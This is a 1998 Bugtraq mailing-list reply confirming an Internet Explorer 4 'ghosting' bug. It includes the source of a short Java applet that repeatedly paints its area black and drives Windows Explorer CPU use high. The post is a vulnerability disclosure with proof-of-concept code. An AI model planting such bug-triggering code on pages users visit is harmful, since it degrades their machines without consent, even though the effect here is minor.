[6570] in bugtraq
Re: New IE4 bug w/Active Desktop installed
daemon@ATHENA.MIT.EDU (Max Vision)
Wed Apr 22 03:46:28 1998
Date: Tue, 21 Apr 1998 23:09:07 -0700
Reply-To: Max Vision <vision@HUNGRY.COM>
From: Max Vision <vision@HUNGRY.COM>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <111302C972D7D01185A00060977D7D4116402B@DATALEX_NT>
On Tue, 21 Apr 1998, Brian Krahmer wrote:
> A seemingly new Internet Explorer bug has been found. Details can be
> found at http://www.focus-asia.com/home/tjc/ghosting/ It basically only
> causes minor annoyances. On my machine (nt4, sp3, ie4 4.01, active
> desktop) it caused explore.exe (Windows Explorer) processor usage to go
> up to about 95%.
> brian
This is also effective on Windows 98 (4.10.1681) _without_ active desktop.
I thought some of the readers might appreciate source so I'm including it
below. Note I also decided that black was more ominous than white. :)
Max
// zealand.java - implements "ghosting" for IE with Active Desktop
import java.applet.Applet;
import java.awt.*;
public class zealand extends Applet
{
public void init()
{ apd = size();
draw(); }
public void paint(Graphics g)
{ update(g); }
public void update(Graphics g)
{ flick(g); }
private void draw()
{ Graphics g = getGraphics();
update(g);
update(g); }
private void flick(Graphics g)
{ g.setColor(Color.black);
g.fillRect(0, 0, apd.width, apd.height); }
public zealand()
{ }
Dimension apd;
int x;
}
